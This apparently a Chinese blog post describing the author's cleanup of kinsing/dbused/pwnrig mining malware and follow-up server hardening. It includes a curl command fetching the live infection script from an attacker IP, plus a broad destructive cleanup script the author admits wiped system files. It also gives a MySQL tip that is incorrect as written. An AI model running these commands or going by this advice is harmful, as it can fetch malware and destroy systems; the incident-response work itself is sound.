导语:被挖矿的现象是cpu异常的高。正常服务被系统杀掉。
先是发现线上业务挂了。紧接着发现本地机房也挂了。判断病毒应该是由本地机房的跳板机或者开放的端口,或dubbo框架漏洞进来的
基本判断是confluence最新的漏洞导致的
http://www.hackdig.com/09/hack-465498.htm
刚好看到防火墙有之前做的映射暴露出去
后期防火墙可以设置白名单
会用java去下脚本
官方临时升级办法 可能这台机子已经被注入,依旧不行,阿里云还是会告警。
如需要查看完整感染脚本
curl http://209.141.40.190/xms
仔细排查过后发现,中的不止一种挖矿病毒。
pstree查看进程有kingsing和kdevtmpfsi
还有dbused
第一步处理思路
先通过ps -ef
命令观察病毒是从哪里更新的,然后通过防火墙禁止对应的访问
# 安装iptables firewalld 不方便直接禁止域名
yum install -t iptables
yum install iptables-services -y
iptables -P INPUT ACCEPT
iptables -P OUTPUT ACCEPT
iptables -A OUTPUT -p tcp -d bash.givemexyz.in --dport 80 -j DROP
iptables -A INPUT -p tcp -d bash.givemexyz.in --dport 80 -j DROP
iptables -I INPUT -s 209.141.40.190 -j DROP
iptables -I OUTPUT -s 209.141.40.190 -j DROP
iptables -I INPUT -s 195.19.192.28 -j DROP
iptables -I OUTPUT -s 195.19.192.28 -j DROP
# 一定要save 之后reload 否则不生效
service iptables save
service iptables reload
# 查看防火墙规则 不带-n可能看不到所有的
iptables -n -L
# 如果规则加错了 查看对应规则并删除
iptables -L INPUT --line-numbers
iptables -D INPUT 1
修改/etc/hosts
# 添加
127.0.0.1 bash.givemexyz.in
第二步处理思路
先把对应文件都删了后占用,chmod 644 并删除cron定时任务
这里可能需要多次操作 确保清理干净了。
大致脚本 没有判断是否存在,可能会有误删。慎用
我自己就误删除了/etc下的和/bin下的文件
chattr -i -a /etc/cron.daily/pwnrig > /dev/null 2>&1
chattr -i -a /etc/cron.hourly/pwnrig > /dev/null 2>&1
chattr -i -a /etc/cron.weekly/pwnrig > /dev/null 2>&1
chattr -i -a /etc/cron.d/pwnrig > /dev/null 2>&1
chattr -i -a /etc/cron.monthly/pwnrig > /dev/null 2>&1
rm -rf /etc/cron.daily/pwnrig > /dev/null 2>&1
rm -rf /etc/cron.hourly/pwnrig > /dev/null 2>&1
rm -rf /etc/cron.weekly/pwnrig > /dev/null 2>&1
rm -rf /etc/cron.d/pwnrig > /dev/null 2>&1
rm -rf /etc/cron.monthly/pwnrig > /dev/null 2>&1
find /etc/ -name '*' | xargs grep 'dbuse' -n 2>/dev/null | grep rc
chattr -a -i /etc/rc.d/init.d/pwnrig > /dev/null 2>&1
rm -rf /etc/rc.d/init.d/pwnrig > /dev/null 2>&1
find /etc/ -name '*' | xargs grep 'xms' -n 2>/dev/null | grep init.d
find /etc/ -name '*' | xargs grep 'dbuse' -n 2>/dev/null | grep init.d
find /etc/ -name '*' | xargs grep 'dbuse' -n 2>/dev/null | grep systemd
chattr -a -i /etc/systemd/system/multi-user.target.wants/pwnrige.service > /dev/null 2>&1
rm -rf /etc/systemd/system/multi-user.target.wants/pwnrige.service > /dev/null 2>&1
chattr -a -i /usr/lib/systemd/system/pwnrigl.service > /dev/null 2>&1
rm -rf /usr/lib/systemd/system/pwnrigl.service > /dev/null 2>&1
chattr -a -i /etc/systemd/system/pwnrige.service > /dev/null 2>&1
rm -rf /etc/systemd/system/pwnrige.service > /dev/null 2>&1
chattr -i -a /bin/bprofr > /dev/null 2>&1
rm -rf /bin/bprofr > /dev/null 2>&1
chattr -i -a /bin/sysdr > /dev/null 2>&1
rm -rf /bin/sysdr > /dev/null 2>&1
chattr -i -a /bin/crondr > /dev/null 2>&1
rm -rf /bin/crondr > /dev/null 2>&1
chattr -i -a /bin/initdr > /dev/null 2>&1
rm -rf /bin/initdr > /dev/null 2>&1
chattr -i -a /usr/bin/bprofr > /dev/null 2>&1
rm -rf /usr/bin/bprofr > /dev/null 2>&1
chattr -i -a /usr/bin/sysdr > /dev/null 2>&1
rm -rf /usr/bin/sysdr > /dev/null 2>&1
chattr -i -a /usr/bin/crondr > /dev/null 2>&1
rm -rf /usr/bin/crondr > /dev/null 2>&1
chattr -i -a /usr/bin/initdr > /dev/null 2>&1
rm -rf /usr/bin/initdr > /dev/null 2>&1
rm -rf /tmp/dbused > /dev/null 2>&1
rm -rf /tmp/dbusex > /dev/null 2>&1
rm -rf /tmp/xms > /dev/null 2>&1
rm -rf /tmp/x86_64 > /dev/null 2>&1
rm -rf /tmp/i686 > /dev/null 2>&1
rm -rf /tmp/go > /dev/null 2>&1
rm -rf /tmp/x64b > /dev/null 2>&1
rm -rf /tmp/x32b > /dev/null 2>&1
crontab -r > /dev/null 2>&1
service crond reload > /dev/null 2>&1
service crond restart > /dev/null 2>&1
pkill -9 wget > /dev/null 2>&1
touch /tmp/kdevtmpfsi > /dev/null 2>&1
yes| rm /tmp/kdevtmpfsi > /dev/null 2>&1
touch /tmp/kdevtmpfsi > /dev/null 2>&1
chmod 644 /tmp/kdevtmpfsi > /dev/null 2>&1
pkill -9 kdevtmpfsi > /dev/null 2>&1
touch /var/tmp/kinsing > /dev/null 2>&1
yes| rm /var/tmp/kinsing > /dev/null 2>&1
touch /var/tmp/kinsing > /dev/null 2>&1
chmod 644 /var/tmp/kinsing > /dev/null 2>&1
pkill -9 kinsing > /dev/null 2>&1
touch /var/tmp/kdevtmpfsi > /dev/null 2>&1
yes| rm /var/tmp/kdevtmpfsi > /dev/null 2>&1
touch /var/tmp/kdevtmpfsi > /dev/null 2>&1
chmod 644 /var/tmp/kdevtmpfsi > /dev/null 2>&1
pkill -9 kdevtmpfsi > /dev/null 2>&1
touch /usr/bin/dbused > /dev/null 2>&1
yes| rm /usr/bin/dbused > /dev/null 2>&1
touch /usr/bin/dbused > /dev/null 2>&1
chmod 644 /usr/bin/dbused > /dev/null 2>&1
pkill -9 dbused > /dev/null 2>&1
crontab -r > /dev/null 2>&1
service crond reload > /dev/null 2>&1
service crond restart > /dev/null 2>&1
pkill -9 wget > /dev/null 2>&1
touch /tmp/kdevtmpfsi > /dev/null 2>&1
yes| rm /tmp/kdevtmpfsi > /dev/null 2>&1
touch /tmp/kdevtmpfsi > /dev/null 2>&1
chmod 644 /tmp/kdevtmpfsi > /dev/null 2>&1
pkill -9 kdevtmpfsi > /dev/null 2>&1
touch /var/tmp/kinsing > /dev/null 2>&1
yes| rm /var/tmp/kinsing > /dev/null 2>&1
touch /var/tmp/kinsing > /dev/null 2>&1
chmod 644 /var/tmp/kinsing > /dev/null 2>&1
pkill -9 kinsing > /dev/null 2>&1
touch /usr/bin/dbused > /dev/null 2>&1
yes| rm /usr/bin/dbused > /dev/null 2>&1
touch /usr/bin/dbused > /dev/null 2>&1
chmod 644 /usr/bin/dbused > /dev/null 2>&1
pkill -9 dbused > /dev/null 2>&1
touch /usr/bin/bprofr > /dev/null 2>&1
chattr -R -a -i /usr/bin/bprofr > /dev/null 2>&1
rm -rf /usr/bin/bprofr > /dev/null 2>&1
touch /usr/bin/bprofr > /dev/null 2>&1
chmod 644 /usr/bin/bprofr > /dev/null 2>&1
touch /usr/bin/crondr > /dev/null 2>&1
chattr -R -a -i /usr/bin/crondr > /dev/null 2>&1
rm -rf /usr/bin/crondr > /dev/null 2>&1
touch /usr/bin/crondr > /dev/null 2>&1
chmod 644 /usr/bin/crondr > /dev/null 2>&1
touch /usr/bin/initdr > /dev/null 2>&1
chattr -R -a -i /usr/bin/initdr > /dev/null 2>&1
rm -rf /usr/bin/initdr > /dev/null 2>&1
touch /usr/bin/initdr > /dev/null 2>&1
chmod 644 /usr/bin/initdr > /dev/null 2>&1
touch /usr/bin/sysdr > /dev/null 2>&1
chattr -R -a -i /usr/bin/sysdr > /dev/null 2>&1
rm -rf /usr/bin/sysdr > /dev/null 2>&1
touch /usr/bin/sysdr > /dev/null 2>&1
chmod 644 /usr/bin/sysdr > /dev/null 2>&1
touch /root/ss > /dev/null 2>&1
chattr -R -a -i /root/ss > /dev/null 2>&1
rm -rf /root/ss > /dev/null 2>&1
touch /root/ss > /dev/null 2>&1
chmod 644 /root/ss > /dev/null 2>&1
touch /root/ssh > /dev/null 2>&1
chattr -R -a -i /root/ssh > /dev/null 2>&1
rm -rf /root/ssh > /dev/null 2>&1
touch /root/ssh > /dev/null 2>&1
chmod 644 /root/ssh > /dev/null 2>&1
touch /tmp/gxx > /dev/null 2>&1
chattr -R -a -i /tmp/gxx > /dev/null 2>&1
rm -rf /tmp/gxx > /dev/null 2>&1
touch /tmp/gxx > /dev/null 2>&1
chmod 644 /tmp/gxx > /dev/null 2>&1
touch /tmp/scan > /dev/null 2>&1
chattr -R -a -i /tmp/scan > /dev/null 2>&1
rm -rf /tmp/scan > /dev/null 2>&1
touch /tmp/scan > /dev/null 2>&1
chmod 644 /tmp/scan > /dev/null 2>&1
touch /bin/initdr > /dev/null 2>&1
chattr -R -a -i /bin/initdr > /dev/null 2>&1
rm -rf /bin/initdr > /dev/null 2>&1
touch /bin/initdr > /dev/null 2>&1
chmod 644 /bin/initdr > /dev/null 2>&1
touch /bin/bprofr > /dev/null 2>&1
chattr -R -a -i /bin/bprofr > /dev/null 2>&1
rm -rf /bin/bprofr > /dev/null 2>&1
touch /bin/bprofr > /dev/null 2>&1
chmod 644 /bin/bprofr > /dev/null 2>&1
touch /bin/crondr > /dev/null 2>&1
chattr -R -a -i /bin/crondr > /dev/null 2>&1
rm -rf /bin/crondr > /dev/null 2>&1
touch /bin/crondr > /dev/null 2>&1
chmod 644 /bin/crondr > /dev/null 2>&1
touch /bin/crondr > /dev/null 2>&1
chattr -R -a -i /bin/crondr > /dev/null 2>&1
rm -rf /bin/crondr > /dev/null 2>&1
touch /bin/crondr > /dev/null 2>&1
chmod 644 /bin/crondr > /dev/null 2>&1
touch /bin/dbused > /dev/null 2>&1
chattr -R -a -i /bin/dbused > /dev/null 2>&1
rm -rf /bin/dbused > /dev/null 2>&1
touch /bin/dbused > /dev/null 2>&1
chmod 644 /bin/dbused > /dev/null 2>&1
touch /tmp/hxx > /dev/null 2>&1
chattr -R -a -i /tmp/hxx > /dev/null 2>&1
rm -rf /tmp/hxx > /dev/null 2>&1
touch /tmp/hxx > /dev/null 2>&1
chmod 644 /tmp/hxx > /dev/null 2>&1
touch /tmp/bashirc > /dev/null 2>&1
chattr -R -a -i /tmp/bashirc > /dev/null 2>&1
rm -rf /tmp/bashirc > /dev/null 2>&1
touch /tmp/bashirc > /dev/null 2>&1
chmod 644 /tmp/bashirc > /dev/null 2>&1
find /etc/ -name '*' | xargs grep 'dbuse' -n 2>/dev/null | grep rc
find /etc/ -name '*' | xargs grep 'xms' -n 2>/dev/null | grep init.d
find /etc/ -name '*' | xargs grep 'dbuse' -n 2>/dev/null | grep init.d
find /etc/ -name '*' | xargs grep 'dbuse' -n 2>/dev/null | grep systemd
find /etc/ -name '*' | xargs grep 'dbuse' -n 2>/dev/null |grep cron
find /etc/ -name '*' | xargs grep 'givemexyz' -n 2>/dev/null |grep cron
find /etc -name "*pwnrig*" -exec chattr -i -a {} \;
find /etc -name "*pwnrig*" | xargs rm -rf
find /etc/ -name '*' | xargs grep 'dbuse' -n 2>/dev/null | grep rc
find /etc/ -name '*' | xargs grep 'xms' -n 2>/dev/null | grep init.d
find /etc/ -name '*' | xargs grep 'dbuse' -n 2>/dev/null | grep init.d
find /etc/ -name '*' | xargs grep 'dbuse' -n 2>/dev/null | grep systemd
find /etc/ -name '*' | xargs grep 'dbuse' -n 2>/dev/null |grep cron
find /etc/ -name '*' | xargs grep 'givemexyz' -n 2>/dev/null |grep cron
find /etc -name "*pwnrig*" -exec chattr -i -a {} \;
find /etc -name "*pwnrig*" | xargs rm -rf
删除定时任务
chattr -R -a -i /var/spool/cron/crontabs > /dev/null 2>&1
mkdir -p /var/spool/cron/crontabs > /dev/null 2>&1
rm -rf /var/spool/cron/crontabs > /dev/null 2>&1
chattr -R -a -i /var/spool/cron/root > /dev/null 2>&1
rm -rf /var/spool/cron/root > /dev/null 2>&1
cd /etc/cron.d
chattr -i -a *
rm *
cd /etc/cron.daily
chattr -i -a *
rm *
cd /etc/cron.hourly
chattr -i -a *
rm *
cd /etc/cron.monthly
chattr -i -a *
rm *
cd /etc/cron.weekly
chattr -i -a *
rm *
cd /var/spool/cron
chattr -R -i -a *
rm -rf *
清理/root/.bash_profile
chattr -i -a /root/.bash_profile
sed -i '/bprofr/d' /root/.bash_profile
清理完成之后确认一下
# 查看定时任务和所有用户的定时任务
crontab -l
cat /etc/passwd | cut -f 1 -d : |xargs -I {} crontab -l -u {}
# 查看是否清除登录启动
cat /root/.bash_profile
# 查看是否有残留进程 一般直接杀死就行 不会再拉起来了
ps -aux | egrep "dbuse|sendmail|wget|sleep"
ps -ef |grep sh
第三步处理思路
有条件就安装阿里云agetn监控一下。可以白嫖7天体验版,然后当前账号下的ecs和本地机房的机子都可以安装agent 查杀。非常好用。
处理好之后reboot
服务器检查一下
如果pstree
或者 ps
看不出来是不是病毒可以通过 md5sum /var/tmp/cruner
文件名的形式查看到它对应的hash值,然后到对应网站hhttps://www.virustotal.com/gui/home/upload搜索,看看是不是病毒文件。因为病毒文件一般都是一个hash
如图就是病毒文件。
修复系统和应用漏洞。
不会被拉起的进程kill -9 pid
即可
怀疑邮件也是有问题 这个不确认。杀了稳一点
系统服务里还会有这些服务,但是因为文件已经被删除了。没法启动也没法去掉,不影响。
不小心删了/etc下的文件 导致root不能用了
其他的文件如果误删除了 直接scp基本就行
需要从其他服务器上或者自己创建/etc/passwd, /etc/shadow ,/etc/group 3个文件
发现其他的定时任务 但是ip不通。直接加入防火墙保险
sleep 进程一般要杀掉 是残留进程
只要有一个还活着,一分钟就能拉一个新的出来
域名不通会换ip
可以通过host bash.givemexyz.in
查看对应域名的ip 一起禁止掉
发现弱密码
普通用户直接删除
userdel -r prod_xxx
# 如果用户有启动的进程 要么修改密码要么修改成不能登录
chsh -s /sbin/nologin webh5
docker优化
摘自阿里云
限制容器之间的网络流量服务配置
描述
默认情况下,同一主机上的容器之间允许所有网络通信。 如果不需要,请限制所有容器间的通信。 将需要相互通信的特定容器链接在一起。默认情况下,同一主机上所有容器之间都启用了不受限制的网络流量。 因此,每个容器都有可能读取同一主机上整个容器网络上的所有数据包。 这可能会导致意外和不必要的信息泄露给其他容器。 因此,限制容器间的通信。
检查提示
--
加固建议
在守护程序模式下运行docker并传递'--icc = false'作为参数。 例如,
/usr/bin/dockerd --icc=false
若使用systemctl管理docker服务则需要编辑
/usr/lib/systemd/system/docker.service
文件中的ExecStart参数添加 --icc=false选项 然后重启docker服务
审核Docker文件和目录安全审计
描述
除了审核常规的Linux文件系统和系统调用之外,还审核所有与Docker相关的文件和目录。 Docker守护程序以“ root”特权运行。 其行为取决于某些关键文件和目录。如 /var/lib/docker、/etc/docker、docker.service、 docker.socket、/usr/bin/docker-containerd、/usr/bin/docker-runc等文件和目录
检查提示
--
加固建议
在/etc/audit/audit.rules与/etc/audit/rules.d/audit.rules文件中添加以下行:
-w /var/lib/docker -k docker
-w /etc/docker -k docker
-w /usr/lib/systemd/system/docker.service -k docker
-w /usr/lib/systemd/system/docker.socket -k docker
-w /usr/bin/docker-containerd -k docker
-w /usr/bin/docker-runc -k docker
然后,重新启动audit程序。 例如
service auditd restart
操作时建议做好记录或备份
限制容器的内存使用量服务配置
描述
默认情况下,Docker主机上的所有容器均等地共享资源。 通过使用Docker主机的资源管理功能(例如内存限制),您可以控制容器可能消耗的内存量。
默认情况下,容器可以使用主机上的所有内存。 您可以使用内存限制机制来防止由于一个容器消耗主机的所有资源而导致的服务拒绝,从而使同一主机上的其他容器无法执行其预期的功能。 对内存没有限制可能会导致一个问题,即一个容器很容易使整个系统不稳定并因此无法使用。
检查提示
--
加固建议
仅使用所需的内存来运行容器。 始终使用'--memory'参数运行容器。 您应该按以下方式启动容器:
docker run --interactive --tty --memory 256m <Container Image Name or ID>
操作时建议做好记录或备份
将容器的根文件系统挂载为只读服务配置
描述
容器的根文件系统应被视为“黄金映像”,并且应避免对根文件系统的任何写操作。 您应该显式定义用于写入的容器卷。
您不应该在容器中写入数据。 属于容器的数据量应明确定义和管理。 在管理员控制他们希望开发人员在何处写入文件和错误的许多情况下,这很有用。
检查提示
--
加固建议
添加“ --read-only”标志,以允许将容器的根文件系统挂载为只读。 可以将其与卷结合使用,以强制容器的过程仅写入要保留的位置。 您应该按以下方式运行容器:
docker run --interactive --tty --read-only --volume <writable-volume> <Container Image Name or ID> <Command>
如果您是k8s或其他容器编排软件编排的容器,请按照相应的安全策略配置或忽略。
操作时建议做好记录或备份
kubernetes优化
确保将--allow-privileged参数设置为false 用户帐户和环境
描述
特权容器具有所有系统功能,并且还消除了设备cgroup控制器强制执行的所有限制。 换句话说,容器可以完成主机可以做的几乎所有事情。 存在此标志是为了允许特殊用例,例如在Docker中运行Docker,因此应避免在生产工作负载中使用。
影响:
您将无法运行任何特权容器。
注意:Kubernetes集群目前使用的许多组件都使用特权容器(例如Container Network Interface插件)。应该注意确保最小化此类插件的使用,尤其是应仔细检查对kube-system名称空间之外的特权容器的任何使用。在可能的情况下,查看此类插件所需的权限,以确定是否可以应用更细粒度的权限集。
检查提示
--
加固建议
编辑主节点上的/ etc / kubernetes / config文件,并将KUBE_ALLOW_PRIV参数设置为“ --allow-privileged = false”: KUBE_ALLOW_PRIV =“-allow-privileged = false”根据您的系统,重新启动kube-apiserver服务。 例如: systemctl restart kube-apiserver.service
操作时建议做好记录或备份
mysql优化
数据库开启secure_file_priv 避免被利用漏洞去系统写文件
# /etc/my.cnf
secure_file_priv=
可参考
https://blog.csdn.net/weixin_42453905/article/details/120067414
https://www.cnblogs.com/yzgblogs/p/15191341.html
https://www.freebuf.com/articles/network/280004.html 记一次套路较深的双家族挖矿事件应急响应 - FreeBuf网络安全行业门户